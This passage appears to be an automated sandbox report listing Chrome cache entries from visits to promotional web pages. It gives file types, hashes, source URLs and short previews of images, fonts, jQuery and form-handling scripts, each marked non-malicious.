Preview:	.PNG........IHDR...l...H.....S./R....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 24.2 (Windows)" xmp:CreateDate="2023-07-26T20:16:16+08:00" xmp:ModifyDate="2024-06-11T15:45:35+08:00" xmp:MetadataDate="2024-06-11T15:45:35+08:00" xmpMM:InstanceID="xmp.iid:0c7fe6b4-2d19-0447-9ce1-07cecb3ed841" xmpMM:DocumentID="xmp.did:9EE08FE8C3D011ED9BF1D9290F91AF9B" xmpMM:OriginalDocumentID="xmp.did:9EE08FE8C3

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1781
Entropy (8bit):	7.876950143793336
Encrypted:	false
SSDEEP:	24:rbi3mjrgCY2pCoduMC6qjfNOIsLMeipbHJ7BG2TetUJRv0WTUDJ0f+743oJCrIZM:rW8y3ikfNneMbHFjTL0KwD9JsqM
MD5:	E8D617749C17919B73A255833CC16DF5
SHA1:	8AAEFCB3965FC52D9782FB9A76B81DF3FE673282
SHA-256:	EB97F1CEB86CF65FEBE6FC09278D503747F140E18297B6DA6EE4BDCD41479F43
SHA-512:	EAB146AC9E6005D49185780FE731AC54C5498B24117872797A877A5A428D961F70AF174FF91E51857764BCE965931E718477AC37987DBBCF82FB147E683EBFBC
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/flaglogo.png
Preview:	.PNG........IHDR...(...(........m....IDATx....t\[...d.x..uj...8..8..v'.fm.._..&5..g...M..g..]..{..>#.g...`.n...?.`....W..CAdn.:..../\LHh...e./....'.6..g'....)h.v.V....(L.6(&.6...([..h.V".#......G..MS(..t....9PC.P..u.y.=+...h......Q.....89.92p...;..La....m.&.y......e..nL."W....2.am..{O..-.....{.{..+......h.....P..b=.' "".b..A.v.9.,p...A...0a.d.?....8...&..O...b........M....3...JM.`.......ul"............IL.Y...FU......r..ON[).9.`..........H3....)..}..s....KM,t...D.i.]l7Y.0.L._.jB...v.y..o36n.......+..^$...3F....;..N...E.%..".0.}....KE....J.IiB.....6qCA.SG... .j.?k.P.j5.z}.._..I....F...2g.I......._[......_ .......].G.C)9/.uHM-..E...._.<.9.&L$9x....c.vG.e....C.R.eh.z....\\.BeL.K.W..Q..m..Y...-........%...Q.i0s.d..l.......h..].yI$..3).q.]0m.j....B........... ....6q..Q#qf..Z;=d..F2.........._\..Z.k.pt..:...B....F.].%.....P..G.y.y.....}.....mD...U0..\.q.j../v....aa.....~.gp...J....<.+....EcD.x...w........F.=...R=-..+#..Ef..&.

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 138 x 133, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	9862
Entropy (8bit):	7.974844598564267
Encrypted:	false
SSDEEP:	192:raNdDxEznC/5Zi927OFVynFYsqtPiv17hIWTG4sE1CWAIHa3yehCxEXdW6WKdhhu:OEoni4WynFzqtPi1uWnsE1C6ooxuQMhU
MD5:	96DE7278165F82601754FD6D5B84ADC4
SHA1:	8B05B2606FB419545011C03F6F59260F2AD56B6F
SHA-256:	C6C896E27FF1F1D6CB22CE652DCCA916946CE9F003BCB4FE30D1265FCB531A95
SHA-512:	B6211DC1E3A7B416EA10127D61A0125AD38C2EF968F16970580766C57D1BF48E679B0FA3946A2D9EFB20D15D6B31816217FFE29E5C78E6C321A304067853AECB
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/f_secure_1.png
Preview:	.PNG........IHDR.....................PLTE.........4..z.z.....:...................M.o..p..........p....d..O..(..2..W.....0..=..H.]..^...\|%..C..evp!.........."..E.....J.Q.......................................................................j.....)...........j......................................n...............NA.....................................L@...&.........B:.?4........Y.............y.&..yp.......{q...$................".....}v.\T....OG....sl.......eZ.41.......pd.....}..u............./(.jkj...XK........`565..........{.. ..{....``^>=>..&...H<.hb.;,...................(&......].t.qi....ib......ttut..iVE....TSS`S....a[..y.........f..=......./....eT......+zh....3........... ...........KKKRN...................SC5.FD.'&$N@.........]..%.._CBH.......z.......g.....s.....dGK1m.#....0tRNS.U..}.M.I.\A,u8#...ri............e.........n;-..#.IDATx..Y{\SU...G .e(\|.J.^.......-6.&..}.5...[..Ga.h..%.....`..........Q#DQD.K.25K...G...=>=........\|.9..=L........i.%

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	12564
Entropy (8bit):	4.669626503765214
Encrypted:	false
SSDEEP:	192:vQ72cQxQ3GVRNBBXwAMkH07iI/zibwksOApFzhn4S3ay3sOy4VJYRAe1cYKMQ/cv:IQbt2X3ay3Lsue1mSUPXO
MD5:	0E0218F7DFBBCE3AEA2CAE3F4A0253A0
SHA1:	3CC17D571BFA19E8C912F7B842062E1984433E4E
SHA-256:	F5F76E00AA49C85CD7F7C5259EF14D1A248F7E3E086E63B8F6EFB44C635C6723
SHA-512:	CC22873AED08CF496BFA49047E0231305B98604135422EAC3764AA2BFD980E395940AF298AE73AD95EECC5FB8113C3ED594E723434976123E1E028E6FE94FF3A
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/app.js
Preview:	/*. Change Log:. * # Custom Error/Success callbacks. * # test. */.(function ($) {. $(function () {.. $('form[name=prospect_form1]').formHandler({. type: 'prospect',. errorModal: true,. autoFillFormElement: 'prospect_form2', // form name only. countryDropdown: 'Select Country',. ajaxLoader: {. div: '#loading-indicator',. timeInOut: 0. },. // responseLoader: {. // div: '#crm-response-container',. // timeInOut: 0. // },. // onSuccess: function (response) {. // console.log('Response: ', response);. // },. // onError: function (response) {. // console.log('Response: ', response);. // }. });.. $('form[name=prospect_form2]').formHandler({. type: 'prospect',. errorModal: true,. autoFillFormElement: 'prospect_form1',

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	472
Entropy (8bit):	7.375078169507395
Encrypted:	false
SSDEEP:	12:6v/7T6B9YPKZAIJeno90e3u6/kA7i6voPJIjptzG/7:f9Yy3en+hQEpd27
MD5:	5FCBD93A05CA019CE2C548FFB925BE49
SHA1:	B36345762357E3CB118A9C21D5A00B197A208D81
SHA-256:	CA866D95AB108B5B02084B7065CDADD6162866CEECA061DA6BA98574041990FA
SHA-512:	DAC680024534260626879924E52906B04F127E5CF15A0610B299828B61B0419101623B5C45D9E1497D6D19F2073A9D40B310BF7A55FE7940D8BD811313277123
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............,..n....PLTELiq.%.7.,.5.7.6...-.;...2.$.8.+...7.8.-.<.m..y..:.:.8.:.h..d..4.1....=..\..V........Q......W...............)."...e....c.j..t...q....G...........D..W............hi.....tRNS.$.R.........Z.i.0.K...0....g....IDATx.u.E..P..P.^._...s.C.-.Y..d...H..E..........4411...G..U.N........H}a@...0/..%I.9aM\|RU%.\..m.....;.F.D5[(..3....~&L./..#.S..}/.y..w.q....z.w..$....Wn...td.9.....IEND.B`.

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 705 x 255, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	10260
Entropy (8bit):	7.742661896850859
Encrypted:	false
SSDEEP:	192:JknDHvCMxNJlPUShs5KxW6xUXkOUGFyh2iHxwAV7DjBQTP/z91fwU4s:ynTXjJFjsD6gkIM3VXjBQAi
MD5:	38F097350B31FA6EBB39EAB85FC63F8E
SHA1:	9BFBCB5148F2AF5176DC5E2B03773F67E421E3E6
SHA-256:	B39ED47F181627B09CDF7C8D1C04D443E7D7A8D6C0F207476BC7E18BC53197ED
SHA-512:	00EDADDF34D0F50D625B869F8652F154D5692043B69E108D48A8E5103D629728546AF79C9AEA52D266D22FA0C6414F52DD5B9376EAA5408B13654B3F1D466D00
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/logo.png
Preview:	.PNG........IHDR.............'.......iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-09-15T22:51:09+08:00" xmp:ModifyDate="2024-08-28T21:50:58+08:00" xmp:MetadataDate="2024-08-28T21:50:58+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b0ae7d53-634a-6e42-9f88-a4870b07b30e" xmpMM:DocumentID="xmp.did:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66" xmpMM:OriginalDocumentID="xmp.did:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66"> <p

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 48236, version 1.0
Category:	downloaded
Size (bytes):	48236
Entropy (8bit):	7.994912604882335
Encrypted:	true
SSDEEP:	768:uj6JxavgLx5rjTH3CdZ3y11o4uMb2IVEhiB6z6GAAHJApICtBgso6HaOjTXHRWK:ujoa4LxZPCdm3B2IVEhiB62apApISxos
MD5:	015C126A3520C9A8F6A27979D0266E96
SHA1:	2ACF956561D44434A6D84204670CF849D3215D5F
SHA-256:	3C4D6A1421C7DDB7E404521FE8C4CD5BE5AF446D7689CD880BE26612EAAD3CFA
SHA-512:	02A20F2788BB1C3B2C7D3142C664CDEC306B6BA5366E57E33C008EDB3EB78638B98DC03CDF932A9DC440DED7827956F99117E7A3A4D55ACADD29B006032D9C5C
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2
Preview:	wOF2.......l......D...............................O..B..h?HVAR.x.`?STAT.$'...0+...\|.../V........+..2.0..6.6.$..`. ..~......[B4q.....t..P.M_.z...1..R.S...u.#..R....fR.1.N.v.N.P...;.2........!Z......Qs...5f.G.K.an2&....2.........C.H.t..N!.....nh.<(.vN.....j.._.L.P.t..Ai.%.............._I.i,..o,C.].H.X9.....a.=N....k.....n.L..k.f.u..{...:.}^\[..~5...Z`...........`!...%4..,...K0..&.a/....P....S....m.Z......u...D.j.F...f.0`I.`.`.h#..)(FQ.F!o$........S.).MV8%Rh...r...x...T]$.=......Y...!.3.&U..."....Q....{.l/0..d..4iJ/..}...3....i[Z..NG.WD...>.[U..Q.h..@m.=..S...1C2...d...<..v.?.q.f..n...OUz.....&Z......Z."..N.....n...9.B..C..W....}...W..6Zs.i.+Z........jB.n..x.8M.....q..@I....-.%..,C,..K..#.2...4)/.v_..x.<....t.....%[.4?.=j.V..jj''..W.u..q....I.L.=......E...\.M.7{.>......W........C.`...,9$......\..o........y...4A..m.P.,X..=?.:................wF`..+.P..........M!.4.......l.>M..t.ff5r..^..Z.g...!fA,hIIQ...e.R>B.AH.VuX..>..\.=.ky...1>C....>C.c.;...6D.

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (525), with CRLF line terminators
Category:	downloaded
Size (bytes):	6038
Entropy (8bit):	5.338302166759979
Encrypted:	false
SSDEEP:	96:lZa9ZIEOhHGny6Mj/GH6nXQyahW9PZbyt2xLujGiPMZTnyAeKJevau8i:+knhky3/quQzohyAxLujGiPGyAecevjF
MD5:	00E51064B2412AF2F997D799E1F1933F
SHA1:	7236381727CE02050DFF500EDD52D199C3283A9E
SHA-256:	C1B9A05B09DFDBDA80E5A007582D94069A582DA1EA93452F77230E85FB1197B5
SHA-512:	B9BC810B57B01F8E8962ED966FDC4D6C3D794A5C12BABA84C6915D4B0A7B61F313B51E47EA8B1CFCE8541ABF52DE92A8703A96B0CBEBDF6258C344AF75C13163
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/jquery.mask.min.js
Preview:	// jQuery Mask Plugin v1.13.4..// github.com/igorescobar/jQuery-Mask-Plugin..(function(b){"function"===typeof define&&define.amd?define(["jquery"],b):"object"===typeof exports?module.exports=b(require("jquery")):b(jQuery\|\|Zepto)})(function(b){var y=function(a,c,d){a=b(a);var g=this,k=a.val(),l;c="function"===typeof c?c(a.val(),void 0,a,d):c;var e={invalid:[],getCaret:function(){try{var q,b=0,e=a.get(0),f=document.selection,c=e.selectionStart;if(f&&-1===navigator.appVersion.indexOf("MSIE 10"))q=f.createRange(),q.moveStart("character",a.is("input")?-a.val().length:-a.text().length),..b=q.text.length;else if(c\|\|"0"===c)b=c;return b}catch(d){}},setCaret:function(q){try{if(a.is(":focus")){var b,c=a.get(0);c.setSelectionRange?c.setSelectionRange(q,q):c.createTextRange&&(b=c.createTextRange(),b.collapse(!0),b.moveEnd("character",q),b.moveStart("character",q),b.select())}}catch(f){}},events:function(){a.on("input.mask keyup.mask",e.behaviour).on("paste.mask drop.mask",function(){setTimeout(fun

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	402
Entropy (8bit):	5.027711306170465
Encrypted:	false
SSDEEP:	6:wLGqa+eJmYYhhfgQVyGQqoYGni8dIgDcVW/FLDVegDucyPKUsdIN3VW/FLDVegD9:w5tuQDGnrhaWVpLSFKUSYWVpLSFKUG
MD5:	277B7B52481E1E8DD629CE87FC59DABF
SHA1:	4168513BFA35F80AF8EA0CC0A003AD200A77723F
SHA-256:	34BDBC24A32F7D11B673E014B46EFEF065E5FBC7D3C83BA8A75386FA71C3FDBD
SHA-512:	B9D3918E6D24A77E3496A14812A0234FF7F6018D9BEB8C7AB8850C1C63AA6F472C34E7EDC710140F3427262CF6931968D893475450EE38BEB4476B2ADAD1A7FD
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/extensions/CbUtilityPackage/js/cb-util-pkg.js
Preview:	$(function() {.. if (typeof cbUtilConfig !== 'object') {.. return;.. }.. if (cbUtilConfig.disable_non_english_char_input) {.. .$(document).on('keyup', 'input', function(){.. ..$(this).val($(this).val().replace(/[^\x00-\x7F]/g, ''));.. .});.. .$(document).on('change', 'input', function(){.. ..$(this).val($(this).val().replace(/[^\x00-\x7F]/g, ''));.. .});.. }..});

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32110), with CRLF line terminators
Category:	downloaded
Size (bytes):	83100
Entropy (8bit):	5.276284082277894
Encrypted:	false
SSDEEP:	1536:szm2ihKxxpbjBb2gKkGOegmLlGS0bgpim5tNLRJBOYWEEVvmgWJr8fRjY3p:q6lGS0ILNLFdhwfVKp
MD5:	B327509226BAA10F2D2E89C42C2C49FB
SHA1:	E83568287A7A2F6E9AEDC074350A51982524C257
SHA-256:	91E8044A4B1BFCE3C131D5579965A9808B42CDB9A350A53928D54CD35D6C1451
SHA-512:	C63F0F0329C1F9FC2ED469E7B263F5E4AC660878F7F239C6B2F0994814113CB7A798CCB1DF4C318C179AD0FCD756100B884BF25B6528DE385142B2F714206AC4
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/jquery.min.js
Preview:	/! jQuery v2.0.0 \| (c) 2005, 2013 jQuery Foundation, Inc. \| jquery.org/license..//@ sourceMappingURL=jquery.min.map../..(function(e,undefined){var t,n,r=typeof undefined,i=e.location,o=e.document,s=o.documentElement,a=e.jQuery,u=e.$,l={},c=[],f="2.0.0",p=c.concat,h=c.push,d=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=f.trim,x=function(e,n){return new x.fn.init(e,n,t)},b=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^-ms-/,N=/-([\da-z])/gi,E=function(e,t){return t.toUpperCase()},S=function(){o.removeEventListener("DOMContentLoaded",S,!1),e.removeEventListener("load",S,!1),x.ready()};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,t,n){var r,i;if(!e)return this;if("string"==typeof e){if(r="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:T.exec(e),!r\|\|!r[1]&&t)return!t\|\|t.jquery?(t\|\|n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof x?t[0]:t,x.merge(th

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32110), with CRLF line terminators
Category:	dropped
Size (bytes):	83100
Entropy (8bit):	5.276284082277894
Encrypted:	false
SSDEEP:	1536:szm2ihKxxpbjBb2gKkGOegmLlGS0bgpim5tNLRJBOYWEEVvmgWJr8fRjY3p:q6lGS0ILNLFdhwfVKp
MD5:	B327509226BAA10F2D2E89C42C2C49FB
SHA1:	E83568287A7A2F6E9AEDC074350A51982524C257
SHA-256:	91E8044A4B1BFCE3C131D5579965A9808B42CDB9A350A53928D54CD35D6C1451
SHA-512:	C63F0F0329C1F9FC2ED469E7B263F5E4AC660878F7F239C6B2F0994814113CB7A798CCB1DF4C318C179AD0FCD756100B884BF25B6528DE385142B2F714206AC4
Malicious:	false
Reputation:	low
Preview:	/! jQuery v2.0.0 \| (c) 2005, 2013 jQuery Foundation, Inc. \| jquery.org/license..//@ sourceMappingURL=jquery.min.map../..(function(e,undefined){var t,n,r=typeof undefined,i=e.location,o=e.document,s=o.documentElement,a=e.jQuery,u=e.$,l={},c=[],f="2.0.0",p=c.concat,h=c.push,d=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=f.trim,x=function(e,n){return new x.fn.init(e,n,t)},b=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^-ms-/,N=/-([\da-z])/gi,E=function(e,t){return t.toUpperCase()},S=function(){o.removeEventListener("DOMContentLoaded",S,!1),e.removeEventListener("load",S,!1),x.ready()};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,t,n){var r,i;if(!e)return this;if("string"==typeof e){if(r="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:T.exec(e),!r\|\|!r[1]&&t)return!t\|\|t.jquery?(t\|\|n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof x?t[0]:t,x.merge(th

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	276
Entropy (8bit):	6.84535756553074
Encrypted:	false
SSDEEP:	6:6v/lhPQ964ZyeU76p9odgL3s0NlqSnlRA0ikkTX0Ji6tjiIfN0l2up:6v/7M64ZyeU76sdgjfl6FkkTXxvTl7
MD5:	21FECC0B5674095B1DB15F87B9C07873
SHA1:	3C8B7D7DAA6D007B225C2A2981F4AD0035841A3C
SHA-256:	B0604FA55FD0A9A2A748BCE311BC5C78B701711390524C65D453E26C2F18C9DA
SHA-512:	BAFF6E98F0ED0D016EF4F2587316BFC3C0AF76C6E683278587BC2C45583A65659CE01F53C7AB2DDE79257467FE7F85E585492846D7F71F4DBBA27B8A767BBB79
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............,..n...QPLTELiq7{1W.Nj._j._i.^^.TD.<R.JT.Kf.[7{1;.5>.79}3L.DX.P[.R`.Wg.]l.bw.l..v..y..\|..~.....`....tRNS...<CFlz..........-...cIDATx..Y.. ..QW..Rh...T.(Q...k....%...xV7..........#.X5Ei.. $Z.$E...LA..v... .V$.d.$.r.O.v.W;...).[......IEND.B`.

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	26864
Entropy (8bit):	4.450488644916333
Encrypted:	false
SSDEEP:	192:s4D0NVplSCZ21hSojCPyTzG86ynm+D+xDDGhsLixtDZexODHxtDvxveLDQEfczWQ:sv81+/qXmtySxsooVcBWOwRkUH1xD
MD5:	E777336EBBB56DB36E292823780F09FB
SHA1:	621F1AECD0565C941D37E5F3C0C4618772972CE6
SHA-256:	248944A75BE90143537233C41B7A29CBCB88F6C0644B86E93FD222DD1F0E9E2E
SHA-512:	EFA000B2F3DE032BAA6979AD0FD47D411F288DAE3E722812E6C58B182D414B897DB70F3505F25AF185FC8AAE8F134DCB83849CE283F8692BF23E04751DCB355E
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/codebase.js
Preview:	var cb = (function($) {. 'use strict'. $(window).keydown(function(e) {. if (e.which === 27 && $('#error_handler_overlay').length) {. $('#error_handler_overlay').remove();. }. });. $(document).off('click', '#error_handler_overlay_close');. $(document).on('click', '#error_handler_overlay_close', function(event) {. event.preventDefault ? event.preventDefault() : (event.returnValue = false);. $('#error_handler_overlay').remove();. });. var ignoreExitPop = true;. var beforeFormSubmitEvents = [];. var currentFormSubmitEvents = [];. var validClass = app_config.valid_class;. var errorClass = app_config.error_class;. var loadingClass = app_config.loading_class;. var formActions = {. 'prospect': 'prospect',. 'checkout': 'checkout',. 'downsell1': 'downsell',. 'downsell2': 'downsell',. 'upsell': 'upsell'. };. var prospectFormFields = {. firstName: {},. lastName: {},.

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 705 x 329, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	12288
Entropy (8bit):	7.810879167132597
Encrypted:	false
SSDEEP:	192:dknDEvCMxNOVERWEi7wJcEjv34BUvZi5jW0Qud2d3y/g+xtJjAUw:+nYXjOiNs41BvWKCYy/gMtBA5
MD5:	73D791693166711159939D90DF9D72C2
SHA1:	068102DFFA8A3D074AE48860F19B2575203B8D90
SHA-256:	C1B16D570E885BB3AFC15AFDF31E07AE5B1CB738658CBDAEA38A224D1379E179
SHA-512:	ECE51CC824F23EA13A4736E7D64CB008585B0C006311B9706BE416CCC192F502A6C1364DE45F673CAF89FFD825B5976408D272760F66E7B56B49A69AEF92A3F3
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/logo2.png
Preview:	.PNG........IHDR.......I.....Md.n....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-09-15T22:51:09+08:00" xmp:ModifyDate="2024-08-28T21:51:11+08:00" xmp:MetadataDate="2024-08-28T21:51:11+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:daf5c94e-23fc-6145-a805-9b95db9aa2f2" xmpMM:DocumentID="xmp.did:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66" xmpMM:OriginalDocumentID="xmp.did:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66"> <p

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65350)
Category:	dropped
Size (bytes):	1196706
Entropy (8bit):	4.2942692242496445
Encrypted:	false
SSDEEP:	6144:9YompD57E8DjS2sDVW4oUchNV2Dnio/NULo9tRtKeDVs3O3seX/YJF2S8eK8wDKp:AD57EEhNwtRw53O3l0V
MD5:	5E29440867FDB02A48DFFDED02338C31
SHA1:	C8BFBBFCA7EB327E2E98CAF637D6DE05E5EE737A
SHA-256:	812AB0E46F86B2CE98AB2425AB2224B90D0845952A1AC0D5ABD734B6217E98BF
SHA-512:	4E7DA6D13229815C93CF3BE6C4B36EA9B4891F724FF239BE0B2DE1BC7AD6EE77530DC275C399818A4B2A0C16FC1A913692C92D16F0C1FF2919D260E9B198F6D3
Malicious:	false
Reputation:	low
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.!function(){"use strict";var c={},l={};try{"undefined"!=typeof window&&(c=window),"undefined"!=typeof document&&(l=document)}catch(c){}var h=(c.navigator\|\|{}).userAgent,a=void 0===h?"":h,z=c,v=l,m=(z.document,!!v.documentElement&&!!v.head&&"function"==typeof v.addEventListener&&v.createElement,~a.indexOf("MSIE")\|\|a.indexOf("Trident/"),"___FONT_AWESOME___"),e=function(){try{return!0}catch(c){return!1}}();var s=z\|\|{};s[m]\|\|(s[m]={}),s[m].styles\|\|(s[m].styles={}),s[m].hooks\|\|(s[m].hooks={}),s[m].shims\|\|(s[m].shims=[]);var t=s[m];function M(c,a){var l=(2<arguments.length&&void 0!==arguments[2]?arguments[2]:{}).skipHooks,h=void 0!==l&&l,z=Object.keys(a).reduce(function(c,l){var h=a[l];return!!h.icon?c[h.iconName]=h.icon:c[l]=h,c},{});"function"!=typeof t.hooks.addPack\|\|h?t.styles[c]=function(z){for(var c=1;c

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 647x634, components 3
Category:	dropped
Size (bytes):	82127
Entropy (8bit):	7.959837556041721
Encrypted:	false
SSDEEP:	1536:uaAZSm0oyfUeWzeJd/IZoytPATr+kJck+Fx+kWtKojdrEtx:DAZxUWzSSoyNATrqkEPWdrEb
MD5:	268DA0DAFF8FA71DDB72A336C1E7AA98
SHA1:	AB9421161875D7450B2FB88BCC73FE1F66C5CD8F
SHA-256:	988C66B7DF8285212AF86C7E1D708CF0DF3CD7A132D195F4C40A67BE2ABD3D09
SHA-512:	BEBE1C0CFA0A37851D5344CD2F4E6C7741961428A8C557AD3DB7931A730EE0FD504EE41EB6B0C44E0AB9BE4AB65B3269BEA13EC548BAB99B4F00D36FCD925223
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....whttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:ad86be4e-b1fd-cb48-81b6-7890bc4e5c85" xmpMM:DocumentID="xmp.did:A1B8FCD869F611EF8AB8FB94857EC802" xmpMM:InstanceID="xmp.iid:A1B8FCD769F611EF8AB8FB94857EC802" xmp:CreatorTool="Adobe Photoshop 25.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4B0FA10C349311EF88A5DC005A125AA0" stRef:documentID="xmp.did:4B0FA10D349311EF88A5DC005A125AA0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.....................................................

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
